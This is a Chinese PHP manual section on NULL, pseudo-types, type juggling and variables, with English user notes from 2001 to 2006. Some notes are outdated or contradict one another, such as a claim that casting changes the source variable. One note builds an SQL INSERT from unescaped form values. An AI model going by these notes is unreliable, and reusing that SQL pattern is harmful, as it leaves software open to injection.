<?php
$var = NULL;
?>

参见 is_null() 和 unset()。

add a note add a note User Contributed Notes
cdcchen at hotmail dot com
26-May-2006 11:17
empty() is_null() !isset()

$var = "";

empty($var) is true.
is_null($var) is false.
!isset($var) is false.
28-Apr-2006 06:16
To zola at zolaweb dot com, if you are trying to default fields to NULL when empty you should just pass the empty string in the SQL statement and have the column in the table set up with a default value of NULL. Makes things a little less confusing. :-)
owk dot ch199_ph at gadz dot org
08-Mar-2006 02:37
To zola at zolaweb dot com :
"It treats NULL as the constant and unsets the variable."
It doesn't. As you are trying to find if your variable is empty, your code should be :

if (empty ($array['var'])) {
   $array['var'] = "NULL";
}

You know, when "!isset ($var)" is true, $var is already not set...

PS : when "$var = '';", $var is set AND is equal to '', the empty string.
zola at zolaweb dot com
15-Jan-2006 01:53
Discovered something probably worth mentioning.

I had a form that had several values that didn't have to be set. I wanted to use the word "NULL" as a word (as opposed to the NULL constant) to go into the SQL statement when creating a new record.

If I do a check based on the variable having no value:

if ($array['var'] == "")
{
$array['var'] = "NULL";
}

Then $array['var'] contains the word "NULL" the way I want it to, BUT I have to be careful with the sql statement (more on this in a moment)

On the other hand, if I check via !isset()

if (!isset($array['var']))
{
$array['var'] = "NULL";
}

It treats NULL as the constant and unsets the variable.

In the SQL, if I am inserting and put it in as is:

$sql = "INSERT INTO mytable VALUES(NULL, ".$array['var'] .", ' ".$array['some_other_var'] ." ')";

the word NULL replaces $array['var'] as it should, but if I enclose the variable in single quotes (because maybe that variable, if it's set, will contain a space)

$sql = "INSERT INTO mytable VALUES(NULL, ' ".$array['var'] ." ', ' ".$array['some_other_var'] ." ')";

again, it treats NULL as the constant NULL instead of the word.

This seems inconsistent--one would have thought that enclosing it in double quotes would say I want the letters NULL as opposed to the constant, and I'll bug report it as well but wanted to mention it here for other users.
06-Jan-2006 05:51
// Difference between "unset($a);" and "$a = NULL;" :
<?php
// unset($a)
$a = 5;
$b = & $a;
unset($a);
print "b $b "; // b 5

// $a = NULL; (better I think)
$a = 5;
$b = & $a;
$a = NULL;
print "b $b "; // b
print(! isset($b)); // 1
?>
getphp at gmx dot net
04-Aug-2005 07:54
in addition to poutri_j at epitech dot net:
you missed that ($var == null) dont respect the type ... try this:

<?php
$t = array();

if ($t === NULL OR is_null($t)) {
  echo "Value is NULL";
} elseif ($t === TRUE) {
  echo "Value is TRUE";
} elseif ($t == NULL OR empty($t)) {
  echo "Value not set or empty.";
}
?>

Output:
Value maybe not set or empty.

PS: Yes, some conditions are redundant. This was intended.
poutri_j at epitech dot net
26-Jul-2005 07:56
if you declare something like this :

class toto
{
   public $a = array();

   public function load()
   {
       if ($this->a == null) // ==> the result is true
           $a = other_func();
   }

}

be carefull, that's strange but an empty array is considered as a null variable
disappear at dissolution dot ath dot cx
02-May-2005 06:20
Hi,

Im using PHP 5.0.3

i wrote a small null study to test the cases here and this is the results i got

Code ::

<?php

   $Array = array ( 0 , '' , FALSE , NULL ) ;
   $ArrayCount = count ( $Array ) ;

   $String .= '$Array = ' . "array ( 0 , '' , FALSE , NULL ) <br><br>" ;

   for ( $i = 0 ; $i < $ArrayCount ; $i++ )

   {

       if ( $Array [ $i ] == NULL )

       {

           $String .= '$Array [ $i ] == NULL :: $Array [ ' . $i . ' ] <br>' ;

       }

       if ( $Array [ $i ] === NULL )

       {

           $String .= '$Array [ $i ] === NULL :: $Array [ ' . $i . ' ] <br>' ;

       }

       if ( is_null ( $Array [ $i ] ) )

       {

           $String .= 'is_null ( $Array [ $i ] ) :: $Array [ ' . $i . ' ] <br>' ;

       }

   }

   echo $String ;

?>

Results ::

$Array = array ( 0 , '' , FALSE , NULL )

$Array [ $i ] == NULL :: $Array [ 0 ]
$Array [ $i ] == NULL :: $Array [ 1 ]
$Array [ $i ] == NULL :: $Array [ 2 ]
$Array [ $i ] == NULL :: $Array [ 3 ]
$Array [ $i ] === NULL :: $Array [ 3 ]
is_null ( $Array [ $i ] ) :: $Array [ 3 ]
jaumesb aat consert doot net
27-Feb-2005 04:38
Note that the expression

( $v == NULL )

will evaluate as TRUE if $v is zero or the empty string.

To avoid this, remember to use :

( $v === NULL )
rizwan_nawaz786 at hotmail dot com
19-Oct-2004 12:22
Hi
 Rizwan Here

   Null is the Constant in PHP. it is use to assign a empty value to the variable like

  $a=NULL;

  At this time $a has is NULL or $a has no value;

  When we declaire a veriable in other languages than that veriable has some value depending on the value of memory location at which it is pointed but in php when we declaire a veriable than php assign a NULL to a veriable.
pozmu at wp dot pl
21-Apr-2004 11:21
responding to joemamacow at hotmail dot com comment:
if you are using isset() to check is the variable set, the more logically and clear way to "delete" the variable is to use unset() (http://www.php.net/unset ) function:

<?php

unset($variable);

?>

Of course setiing variable value to NULL is also OK.
alex at netflex dot nl
13-Jun-2002 07:13
Hi,

Function for looking if it is a NULL

<?php

  $var = NULL;

  if (isnull("var")) {
   echo "var===NULL\n";
  } else {
   echo "var!==NULL\n";
  }

  if (isnull("test")) { // give FALSE, test is not set
   echo "test===NULL\n";
  } else {
   echo "test!==NULL\n";
  }

  $array['var'] = NULL;

  if (isnull("var", $array)) {
   echo "array['var']===NULL\n";
  } else {
   echo "array['var']!==NULL\n";
  }

  function isnull($var, $base = FALSE) {
   if ($base===FALSE) {
     $base = &$GLOBALS;
   } elseif (!is_array($base)) {
     return FALSE;
   }
   if ((array_key_exists($var, $base))&&($base[$var]===NULL)) {
     return TRUE;
   } else {
     return FALSE;
   }
  }

?>
avbentem at hetnet.nl
23-Feb-2002 05:25
To extend a bit on tbdavis's comment:

:: NULL == NULL is true
:: NULL == FALSE is true
:: NULL == TRUE is false

However: note the implicit type conversions that PHP performs! When using 'identical' instead of 'equal' then both NULL === FALSE and NULL === TRUE yield FALSE. An overview is easily created using something like

   function evalExpr( $desc )
   {
     echo str_pad($desc , 15) . "--> ";
     var_dump( eval( "return(" . $desc . ");" ));
   }

Note that even TRUE AND TRUE does not evaluate to a boolean value, and that OR and XOR behave different as well!

   PHP Version: 4.0.6

   false          --> bool(false)
   true          --> bool(true)
   null          --> NULL
   !null          --> bool(true)

   true and true  --> int(1)
   true and false --> int(0)
   true or true  --> int(1)
   true or false  --> int(1)
   true xor true  --> bool(false)
   true xor false --> bool(true)

   true == null  --> bool(false)
   true === null  --> bool(false)
   true != null  --> bool(true)
   true !== null  --> bool(true)

   false == null  --> bool(true)
   false === null --> bool(false)
   false != null  --> bool(false)
   false !== null --> bool(true)

   null == null  --> bool(true)
   null != null  --> bool(false)
   null === null  --> bool(true)
   null !== null  --> bool(false)

   null or null  --> int(0)
   null xor null  --> bool(false)
   null and null  --> int(0)

   true or null  --> int(1)
   true xor null  --> bool(true)
   true and null  --> int(0)

   false or null  --> int(0)
   false xor null --> bool(false)
   false and null --> int(0)

   true < null    --> bool(false)
   true > null    --> bool(true)
   false < null  --> bool(false)
   false > null  --> bool(false)

   1 + null      --> int(1)
   "text" . null  --> string(4) "text"

Finally, for those who do not know SQL: in SQL the NULL value is evaluated a bit like "I do not know; it could be anything, like 0, 1, a, b, true, false or even nothing at all". This implies that in SQL NULL == NULL could be interpreted as "could be anything" == "could be something else", which does not yield true! Instead, it yields NULL, which boils down to FALSE in boolean context...

Likewise, in SQL:

   NULL AND TRUE yields NULL
   NULL OR TRUE yields TRUE
   NULL AND FALSE yields FALSE
   NULL OR FALSE yields NULL
   NULL == TRUE yields FALSE
   NULL == FALSE yields FALSE

a.
sc at dbtech dot de
17-Feb-2002 07:59
NULL as the best way to detect additional parameters of unknown type:

function FooBar($Param = NULL) {
  if (is_null($Param)) {
  [...]
junk dot phpnet at gasolinemm dot com
18-Nov-2001 01:19
$a = "";
$b = NULL;

$a == $b;
/* returns true: $a has been converted to $b for the equality comparison */

is_null($a); //returns false
is_null($b); //returns true

$a === $b;
/* returns false: $a is not _identical_ to $b */
dward at maidencreek dot com
13-Nov-2001 07:52
Nulls are almost the same as unset variables and it is hard to tell the difference without creating errors from the interpreter:

$var = NULL;

isset($var) is FALSE
empty($var) is TRUE
is_null($var) is TRUE

isset($novar) is FALSE
empty($novar) is TRUE
is_null($novar) gives an Undefined variable error

$var IS in the symbol table (from get_defined_vars())
$var CAN be used as an argument or an expression.

So, in most cases I found that we needed to use !isset($var) intead of is_null($var) and then set $var = NULL if the variable needs to be used later to guarantee that $var is a valid variable with a NULL value instead of being undefined.
tbdavis at greyshirt dot net
11-Oct-2001 07:36
Unlike the relational model, NULL in PHP has the following properties:
NULL == NULL is true,
NULL == FALSE is true.
And in line with the relational model, NULL == TRUE fails.
add a note add a note

后退 | 起点 | 前进
资源 | 上一级 | 本文档中使用的伪类型


本文档中使用的伪类型

mixed

mixed 说明一个参数可以接受多种不同的（但并不必须是所有的）类型。

例如 gettype() 可以接受所有的 PHP 类型，str_replace() 可以接受字符串和数组。

number

number 说明一个参数可以是 integer 或者 float。

callback

有些诸如 call_user_function() 或 usort() 的函数接受用户自定义的函数作为一个参数。Callback 函数不仅可以是一个简单的函数，它还可以是一个对象的方法，包括静态类的方法。

一个 PHP 函数用函数名字符串来传递。可以传递任何内置的或者用户自定义的函数，除了 array()，echo()，empty()，eval()，exit()，isset()，list()，print() 和 unset()。

一个对象的方法以数组的形式来传递，数组的下标 0 指明对象名，下标 1 指明方法名。

对于没有实例化为对象的静态类，要传递其方法，将数组 0 下标指明的对象名换成该类的名称即可。

例子 11-13. Callback 函数实例

<?php
// An example callback function
function my_callback_function() {
    echo 'hello world!';
}

// An example callback method
class MyClass {
    function myCallbackMethod() {
        echo 'Hello World!';
    }
}

// Type 1: Simple callback
call_user_func('my_callback_function');

// Type 2: Static class method call
call_user_func(array('MyClass', 'myCallbackMethod'));

// Type 3: Object method call
$obj = new MyClass();
call_user_func(array(&$obj, 'myCallbackMethod'));
?>

add a note add a note User Contributed Notes
mr dot lilov at gmail dot com
12-Aug-2005 09:17
This's a useful example about callback, Look at the session_set_save_handler function.

From: http://www.zend.com/zend/spotlight/code-gallery-wade8.php

<?php

/* Create new object of class */
$ses_class = new session();

/* Change the save_handler to use the class functions */
session_set_save_handler (array(&$ses_class, '_open'),
                         array(&$ses_class, '_close'),
                         array(&$ses_class, '_read'),
                         array(&$ses_class, '_write'),
                         array(&$ses_class, '_destroy'),
                         array(&$ses_class, '_gc'));

/* Start the session */
session_start();

class session
{
   /* Define the mysql table you wish to use with
       this class, this table MUST exist. */
   var $ses_table = "sessions";

   /* Change to 'Y' if you want to connect to a db in
       the _open function */
   var $db_con = "Y";

   /* Configure the info to connect to MySQL, only required
       if $db_con is set to 'Y' */
   var $db_host = "localhost";
   var $db_user = "username";
   var $db_pass = "password";
   var $db_dbase = "dbname";

   /* Create a connection to a database */
   function db_connect() {
   ............
   }

   /* Open session, if you have your own db connection
       code, put it in here! */
   function _open($path, $name) {
   .............
   }

   /* Close session */
   function _close() {
   ..............
   }

   /* Read session data from database */
   function _read($ses_id) {
   .................
   }

   /* Write new data to database */
   function _write($ses_id, $data) {
   ...........
   }

   /* Garbage collection, deletes old sessions */
   function _gc($life) {
   ............
   }
}
?>
strauchdieb at gmx dot de
03-Aug-2005 06:13
Don't forget the reference operator (&) when using an object method as a callback! If you forget the '&', $this will probably point to an other object than the one you intended.
add a note add a note

后退 | 起点 | 前进
NULL | 上一级 | 类型戏法


类型戏法

PHP 在变量定义中不需要（或不支持）明示的类型定义；变量类型是根据使用该变量的上下文所决定的。也就是说，如果把一个字符串值赋给变量 var，var 就成了一个字符串。如果又把一个整型值赋给 var，那它就成了一个整数。

PHP 的自动类型转换的一个例子是加号“+”。如果任何一个运算数是浮点数，则所有的运算数都被当成浮点数，结果也是浮点数。否则运算数会被解释为整数，结果也是整数。注意这并没有改变这些运算数本身的类型；改变的仅是这些运算数如何被求值。

<?php
$foo = "0";  // $foo is string (ASCII 48)
$foo += 2;   // $foo is now an integer (2)
$foo = $foo + 1.3;  // $foo is now a float (3.3)
$foo = 5 + "10 Little Piggies"; // $foo is integer (15)
$foo = 5 + "10 Small Pigs";     // $foo is integer (15)
?>

如果上面两个例子看上去古怪的话，参见字符串转换为数值。

如果要强制将一个变量当作某种类型来求值，参见类型强制转换一节。如果要改变一个变量的类型，参见 settype()。

如果想要测试本节中任何例子的话，可以用 var_dump() 函数。

注: 数组的自动转换行为目前没有定义。

<?php
$a = "1";     // $a 是字符串
$a[0] = "f";  // 是字符串偏移量吗？结果会是什么？
?>

由于一些历史原因，PHP 支持通过偏移量进行的字符串索引，这和数组索引的语法一样。以上的例子就产生了一个问题：$a 应该变成一个第一个元素是“f”的数组呢，还是“f”成了字符串 $a 的第一个字符？

目前版本的 PHP 将以上第二个赋值理解成字符串的偏移量标识，即 $a 变成了 "f"，尽管如此，这种自动转换的地结果应该被认为未定义。PHP 4 引入了新的花括号语法来访问字符串的字符，请使用该语法来替代以上的操作：

<?php
$a    = "abc"; // $a 为一个字符串
$a{1} = "f";   // $a 目前为 "afc"
?>

请参阅访问和修改字符串中的字符一节以获取更多信息。

类型强制转换

PHP 中的类型强制转换和 C 中的非常像：在要转换的变量之前加上用括号括起来的目标类型。

<?php
$foo = 10;   // $foo is an integer
$bar = (boolean) $foo;   // $bar is a boolean
?>

允许的强制转换有：

  • (int)，(integer) - 转换成整型

  • (bool)，(boolean) - 转换成布尔型

  • (float)，(double)，(real) - 转换成浮点型

  • (string) - 转换成字符串

  • (array) - 转换成数组

  • (object) - 转换成对象

注意在括号内允许有空格和制表符，所以下面两个例子功能相同：

<?php
$foo = (int) $bar;
$foo = ( int ) $bar;
?>

注: 为了将一个变量还原为字符串，还可以将变量放置在双引号中。

<?php
$foo = 10;            // $foo is an integer
$str = "$foo";        // $str is a string
$fst = (string) $foo; // $fst is also a string

// This prints out that "they are the same"
if ($fst === $str) {
    echo "they are the same";
}
?>

当在某些类型之间强制转换时确切地会发生什么可能不是很明显。更多信息见如下小节：

  • 转换为布尔值

  • 转换为整型

  • 转换为浮点型

  • 转换为字符串

  • 转换为数组

  • 转换为对象

  • 转换为资源

  • 类型比较表

add a note add a note User Contributed Notes
jsingh dot oberoi at gmail dot com
13-May-2006 06:23
Reply to note dated 25-May-2005 05:35 :

In PHP 5.1.4, cast only affects the destination type and not the source type.

So,

<?php

$a = "abc";
$bb = (int)$a;
echo $a;

?>

gives as output:
abc
miracle at 1oo-percent dot de
20-Feb-2006 09:26
If you want to convert a string automatically to float or integer (e.g. "0.234" to float and "123" to int), simply add 0 to the string - PHP will do the rest.

e.g.

$val = 0 + "1.234";
(type of $val is float now)

$val = 0 + "123";
(type of $val is integer now)
23-Jun-2005 08:47
If you have a boolean, performing increments on it won't do anything despite it being 1.  This is a case where you have to use a cast.

<html>
<body> <!-- don't want w3.org to get mad... -->
<?php
$bar = TRUE;
?>
I have <?=$bar?> bar.
<?php
$bar++;
?>
I now have <?=$bar?> bar.
<?php
$bar = (int) $bar;
$bar++;
?>
I finally have <?=$bar?> bar.
</body>
</html>

That will print

I have 1 bar.
I now have 1 bar.
I finally have 2 bar.
26-May-2005 01:35
It appears in PHP 5.0.0, that casting will convert the variable to the specified type, not return a copy of the variable converted to that type.

ie:

$str = "foo";
$int = (int) $str;
echo "str: $str, int: $int";
// prints out "0, 0" instead of "foo, 0".

How it works with classes, I don't know.
toma at smartsemantics dot com
10-Mar-2005 10:24
In my much of my coding I have found it necessary to type-cast between objects of different class types.

More specifically, I often want to take information from a database, convert it into the class it was before it was inserted, then have the ability to call its class functions as well.

The following code is much shorter than some of the previous examples and seems to suit my purposes.  It also makes use of some regular expression matching rather than string position, replacing, etc.  It takes an object ($obj) of any type and casts it to an new type ($class_type).  Note that the new class type must exist:

function ClassTypeCast(&$obj,$class_type){
   if(class_exists($class_type,true)){
       $obj = unserialize(preg_replace"/^O:[0-9]+:\"[^\"]+\":/i",
         "O:".strlen($class_type).":\"".$class_type."\":", serialize($obj)));
   }
}
Raja
10-Feb-2005 07:05
Uneven division of an integer variable by another integer variable will result in a float by automatic conversion -- you do not have to cast the variables to floats in order to avoid integer truncation (as you would in C, for example):

$dividend = 2;
$divisor = 3;
$quotient = $dividend/$divisor;
print $quotient; // 0.66666666666667
memandeemail at gmail dot com
09-Dec-2004 09:29
/**
   * @return bool
   * @param array[byreference] $values
   * @desc Convert an array or any value to Escalar Object [not tested in large scale]
   */
   function setobject(&$values) {
       $values = (object) $values;
       foreach ($values as $tkey => $val) {
           if (is_array($val)) {
               setobject($val);
               $values->$tkey = $val;
           }
       }
       return (bool) $values;
   }
tom5025_ at hotmail dot com
25-Aug-2004 04:27
function strhex($string)
{
   $hex="";
   for ($i=0;$i<strlen($string);$i++)
       $hex.=dechex(ord($string[$i]));
   return $hex;
}
function hexstr($hex)
{
   $string="";
   for ($i=0;$i<strlen($hex)-1;$i+=2)
       $string.=chr(hexdec($hex[$i].$hex[$i+1]));
   return $string;
}

to convert hex to str and vice versa
dimo dot vanchev at bianor dot com
10-Mar-2004 11:02
For some reason the code-fix posted by philip_snyder at hotmail dot com [27-Feb-2004 02:08]
didn't work for me neither with long_class_names nor with short_class_names. I'm using PHP v4.3.5 for Linux.
Anyway here's what I wrote to solve the long_named_classes problem:

<?php
function typecast($old_object, $new_classname) {
   if(class_exists($new_classname)) {
       $old_serialized_object = serialize($old_object);
       $old_object_name_length = strlen(get_class($old_object));
       $subtring_offset = $old_object_name_length + strlen($old_object_name_length) + 6;
       $new_serialized_object  = 'O:' . strlen($new_classname) . ':"' . $new_classname . '":';
       $new_serialized_object .= substr($old_serialized_object, $subtring_offset);
       return unserialize($new_serialized_object);
     } else {
         return false;
     }
}
?>
philip_snyder at hotmail dot com
27-Feb-2004 11:08
Re: the typecasting between classes post below... fantastic, but slightly flawed. Any class name longer than 9 characters becomes a problem... SO here's a simple fix:

function typecast($old_object, $new_classname) {
  if(class_exists($new_classname)) {
   // Example serialized object segment
   // O:5:"field":9:{s:5:...  <--- Class: Field
   $old_serialized_prefix  = "O:".strlen(get_class($old_object));
   $old_serialized_prefix .= ":\"".get_class($old_object)."\":";

   $old_serialized_object = serialize($old_object);
   $new_serialized_object = 'O:'.strlen($new_classname).':"'.$new_classname . '":';
   $new_serialized_object .= substr($old_serialized_object,strlen($old_serialized_prefix));
   return unserialize($new_serialized_object);
  }
  else
   return false;
}

Thanks for the previous code. Set me in the right direction to solving my typecasting problem. ;)
post_at_henribeige_dot_de
04-May-2003 12:37
If you want to do not only typecasting between basic data types but between classes, try this function. It converts any class into another. All variables that equal name in both classes will be copied.

function typecast($old_object, $new_classname) {
  if(class_exists($new_classname)) {
   $old_serialized_object = serialize($old_object);
   $new_serialized_object = 'O:' . strlen($new_classname) . ':"' . $new_classname . '":' .
                             substr($old_serialized_object, $old_serialized_object[2] + 7);
   return unserialize($new_serialized_object);
  }
  else
   return false;
}

Example:

class A {
  var $secret;
  function A($secret) {$this->secret = $secret;}
  function output() {echo("Secret class A: " . $this->secret);}
}

class B extends A {
  var $secret;
  function output() {echo("Secret class B: " . strrev($this->secret));}
}

$a = new A("Paranoia");
$b = typecast($a, "B");

$a->output();
$b->output();
echo("Classname \$a: " . get_class($a) . "Classname \$b: " . get_class($b));

Output of the example code above:

Secret class A: Paranoia
Secret class B: aionaraP
Classname $a: a
Classname $b: b
yury at krasu dot ru
27-Nov-2002 05:24
incremental operator ("++") doesn't make type conversion from boolean to int, and if an variable is boolean and equals TRUE than after ++ operation it remains as TRUE, so:

$a = TRUE;
echo ($a++).$a;  // prints "11"
29-Aug-2002 01:26
Printing or echoing a FALSE boolean value or a NULL value results in an empty string:
(string)TRUE //returns "1"
(string)FALSE //returns ""
echo TRUE; //prints "1"
echo FALSE; //prints nothing!
amittai at NOSPAMamittai dot com
21-Aug-2002 02:30
Uneven division of an integer variable by another integer variable will result in a float by automatic conversion -- you do not have to cast the variables to floats in order to avoid integer truncation (as you would in C, for example):

$dividend = 2;
$divisor = 3;
$quotient = $dividend/$divisor;
print $quotient; // 0.66666666666667

Amittai Aviram
add a note add a note

后退 | 起点 | 前进
本文档中使用的伪类型 | 上一级 | 变量


变量

PHP 手册
后退 前进

章 12. 变量

目录
基础
预定义变量
变量范围
可变变量
来自 PHP 之外的变量

基础

PHP 中的变量用一个美元符号后面跟变量名来表示。变量名是区分大小写的。

变量名与 PHP 中其它的标签一样遵循相同的规则。一个有效的变量名由字母或者下划线开头，后面跟上任意数量的字母，数字，或者下划线。按照正常的正则表达式，它将被表述为：'[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'。

注: 在此所说的字母是 a-z，A-Z，以及 ASCII 字符从 127 到 255（0x7f-0xff）。

有关变量的函数信息见变量函数。

<?php
$var = 'Bob';
$Var = 'Joe';
echo "$var, $Var";      // 输出 "Bob, Joe"

$4site = 'not yet';     // 非法变更名；以数字开头
$_4site = 'not yet';    // 合法变量名；以下划线开头
$i站点is = 'mansikka';  // 合法变量名；可以用中文
?>

PHP 3 中，变量总是传值赋值。那也就是说，当将一个表达式的值赋予一个变量时，整个原始表达式的值被赋值到目标变量。这意味着，例如，当一个变量的值赋予另外一个变量时，改变其中一个变量的值，将不会影响到另外一个变量。有关这种类型的赋值操作，请参阅表达式一章。

PHP 4 提供了另外一种方式给变量赋值：引用赋值。这意味着新的变量简单的引用（换言之，“成为其别名” 或者 “指向”）了原始变量。改动新的变量将影响到原始变量，反之亦然。这同样意味着其中没有执行复制操作；因而，这种赋值操作更加快速。不过只有在密集的循环中或者对很大的数组或对象赋值时才有可能注意到速度的提升。

使用引用赋值，简单地将一个 & 符号加到将要赋值的变量前（源变量）。例如，下列代码片断将输出“My name is Bob”两次：

<?php
$foo = 'Bob';              // Assign the value 'Bob' to $foo
$bar = &$foo;              // Reference $foo via $bar.
$bar = "My name is $bar";  // Alter $bar...
echo $bar;
echo $foo;                 // $foo is altered too.
?>

有一点重要事项必须指出，那就是只有有名字的变量才可以引用赋值。

<?php
$foo = 25;
$bar = &$foo;      // This is a valid assignment.
$bar = &(24 * 7);  // Invalid; references an unnamed expression.

function test()
{
   return 25;
}

$bar = &test();    // Invalid.
?>

add a note add a note User Contributed Notes
molnaromatic at gmail dot com
20-May-2006 08:44
Simple sample and variables and html "templates":
The PHP code:
variables.php:
<?php
$SYSN["title"] = "This is Magic!";
$SYSN["HEADLINE"] = "Ez magyarul van"; // This is hungarian
$SYSN["FEAR"] = "Bell in my heart";
?>

index.php:
<?php
include("variables.php");
include("template.html");
?>

The template:
template.html

<html>
<head><title><?=$SYSN["title"]?></title></head>
<body>
<H1><?=$SYSN["HEADLINE"]?></H1>
<p><?=$SYSN["FEAR"]?></p>
</body>
</html>
This is simple, quick and very flexibile
warhog at warhog dot net
28-Dec-2005 03:11
> Variable names follow the same rules as other labels in PHP. A valid variable name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thus: '[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'

..is not quite true. You can, in fact, only declare variables having a name like this if you use the syntax <?php $varname = "naks naks"; ?>.. but in fact a variable can have moreless any name that is a string... e.g. if you look at an array you can have
<?php
$arr[''];
$arr['8'];
$arr['-my-element-is-so-pretty-useless-'];
?>
.. by accessing the variables-namespace via {} you can have the same functinalities for all variables, e.g.

<?php ${''} = "my empty variable"; ?>

is a valid expression and the variable having the empty string as name will have the value "my empty variable".

read the chapter on "variable variables" for further information.
Mike at ImmortalSoFar dot com
26-Nov-2005 06:03
References and "return" can be flakey:

<?php
//  This only returns a copy, despite the dereferencing in the function definition
function &GetLogin ()
{
   return $_SESSION['Login'];
}

//  This gives a syntax error
function &GetLogin ()
{
   return &$_SESSION['Login'];
}

//  This works
function &GetLogin ()
{
   $ret = &$_SESSION['Login'];
   return $ret;
}
?>
david at removethisbit dot futuresbright dot com
10-Nov-2005 05:25
When using variable variables this is invalid:

$my_variable_{$type}_name = true;

to get around this do something like:

$n="my_variable_{$type}_name";
${$n} = true;

(or $$n - I tend to use curly brackets out of habit as it helps t reduce bugs ...)
ludvig dot ericson at gmail dot com
13-Oct-2005 07:33
On the previous note:

This is due to how evaluation works. PHP will think of it as:

$a = whatever $b = $c is
$b = whatever $c = 1 is

... because an expression is equal to what it returns.

Therefore $c = 1 returns 1, making $b = $c same as $b = 1, which makes $b 1, which makes $a be $b, which is 1.

$a = ($b = $c = 1) + 2;
Will have $a be 3 while $b and $c is 1.

Hope that clears something up.
Chris Hester
31-Aug-2005 08:09
Variables can also be assigned together.

<?php
$a = $b = $c = 1;
echo $a.$b.$c;
?>

This outputs 111.
Mike Fotes
10-Jul-2005 02:46
In conditional assignment of variables, be careful because the strings may take over the value of the variable if you do something like this:

<?php
$condition = true;

// Outputs " <-- That should say test"
echo "test" . ($condition) ? " <-- That should say test" : "";
?>

You will need to enclose the conditional statement and assignments in parenthesis to have it work correctly:

<?php
$condition = true;

// Outputs "test <-- That should say test"
echo "test" . (($condition) ? " <-- That should say test " : "");
?>
josh at PraxisStudios dot com
18-May-2005 04:06
As with echo, you can define a variable like this:

<?php

$text = <<<END

<table>
   <tr>
       <td>
             $outputdata
       </td>
     </tr>
</table>

END;

?>

The closing END; must be on a line by itself (no whitespace).
user at host dot network
02-May-2005 08:17
pay attention using spaces, dots and parenthesis in case kinda like..
$var=($number>0)?1.'parse error':0.'here too';
the correct form is..
$var=($number>0)?1 .'parse error':0 .'here too';
or
$var=($number>0)?(1).'parse error':(0).'here too';
or
$var = ($number > 0) ? 1 . 'parse error' : 0 . 'here too';
etc..
i think that's why the parser read 1. and 0. like decimal numbers not correctly written, point of fact
$var=$number>0?1.0.'parse error':0.0.'here too';
seems to work correctly..
david at rayninfo dot co dot uk
26-Apr-2005 07:01
When constructing strings from text and variables you can use curly braces to "demarcate" variables from any surrounding text where, for whatever reason, you cannot use a space eg:

$str="Hi my name is ${bold}$name bla-bla";

which AFAIK is the same as

$str="Hi my name is {$bold}$name bla-bla";

zzapper
mike at go dot online dot pt
08-Apr-2005 12:18
In addition to what jospape at hotmail dot com and ringo78 at xs4all dot nl wrote, here's the sintax for arrays:

<?php
//considering 2 arrays
$foo1 = array ("a", "b", "c");
$foo2 = array ("d", "e", "f");

//and 2 variables that hold integers
$num = 1;
$cell = 2;

echo ${foo.$num}[$cell]; // outputs "c"

$num = 2;
$cell = 0;

echo ${foo.$num}[$cell]; // outputs "d"
?>
lucas dot karisny at linuxmail dot org
15-Feb-2005 08:42
Here's a function to get the name of a given variable.  Explanation and examples below.

<?php
  function vname(&$var, $scope=false, $prefix='unique', $suffix='value')
  {
   if($scope) $vals = $scope;
   else      $vals = $GLOBALS;
   $old = $var;
   $var = $new = $prefix.rand().$suffix;
   $vname = FALSE;
   foreach($vals as $key => $val) {
     if($val === $new) $vname = $key;
   }
   $var = $old;
   return $vname;
  }
?>

Explanation:

The problem with figuring out what value is what key in that variables scope is that several variables might have the same value.  To remedy this, the variable is passed by reference and its value is then modified to a random value to make sure there will be a unique match.  Then we loop through the scope the variable is contained in and when there is a match of our modified value, we can grab the correct key.

Examples:

1.  Use of a variable contained in the global scope (default):
<?php
  $my_global_variable = "My global string.";
  echo vname($my_global_variable); // Outputs:  my_global_variable
?>

2.  Use of a local variable:
<?php
  function my_local_func()
  {
   $my_local_variable = "My local string.";
   return vname($my_local_variable, get_defined_vars());
  }
  echo my_local_func(); // Outputs: my_local_variable
?>

3.  Use of an object property:
<?php
  class myclass
  {
   public function __constructor()
   {
     $this->my_object_property = "My object property  string.";
   }
  }
  $obj = new myclass;
  echo vname($obj->my_object_property, $obj); // Outputs: my_object_property
?>
jospape at hotmail dot com
05-Feb-2005 03:45
$id = 2;
$cube_2 = "Test";

echo ${cube_.$id};

// will output: Test
ringo78 at xs4all dot nl
15-Jan-2005 04:27
<?
// I am beginning to like curly braces.
// I hope this helps for you work with them
$filename0="k";
$filename1="kl";
$filename2="klm";
 $i=0;
for ($varname = sprintf("filename%d",$i);  isset  ( ${$varname} ) ;  $varname = sprintf("filename%d", $i)  )  {
   echo "${$varname} <br>";
   $varname = sprintf("filename%d",$i);
   $i++;
}
?>
Carel Solomon
07-Jan-2005 07:02
You can also construct a variable name by concatenating two different variables, such as:

<?

$arg = "foo";
$val = "bar";

//${$arg$val} = "in valid";    // Invalid
${$arg . $val} = "working";

echo $foobar;    // "working";
//echo $arg$val;        // Invalid
//echo ${$arg$val};    // Invalid
echo ${$arg . $val};    // "working"

?>

Carel
raja shahed at christine nothdurfter dot com
26-May-2004 01:58
<?php
error_reporting(E_ALL);

$name = "Christine_Nothdurfter";
// not Christine Nothdurfter
// you are not allowed to leave a space inside a variable name ;)
$$name = "'s students of Tyrolean language ";

print " $name{$$name}<br>";
print  "$name$Christine_Nothdurfter";
// same
?>
webmaster at surrealwebs dot com
10-Mar-2004 04:31
OK how about a practicle use for this:

You have a session variable such as:
$_SESSION["foo"] = "bar"
and you want to reference it to change it alot throughout the program instaed of typing the whole thing over and over just type this:

$sess =& $_SESSION
$sess['foo'] = bar;

echo $sess['foo'] // returns bar
echo $_SESSION["foo"] // also returns bar
just saves alot of time in the long run

also try $get = $HTTP_GET_VARS
or $post = $HTTP_POST_VARS
webmaster at daersys dot net
21-Jan-2004 12:15
In reference to "remco at clickbizz dot nl"'s note I would like to add that you don't necessarily have to escape the dollar-sign before a variable if you want to output it's name.

You can use single quotes instead of double quotes, too.

For instance:

<?php
$var = "test";

echo "$var"; // Will output the string "test"

echo "\$var"; // Will output the string "$var"

echo '$var'; // Will do the exact same thing as the previous line
?>

Why?
Well, the reason for this is that the PHP Parser will not attempt to parse strings encapsulated in single quotes (as opposed to strings within double quotes) and therefore outputs exactly what it's being fed with :)

To output the value of a variable within a single-quote-encapsulated string you'll have to use something along the lines of the following code:

<?php
$var = 'test';
/*
Using single quotes here seeing as I don't need the parser to actually parse the content of this variable but merely treat it as an ordinary string
*/

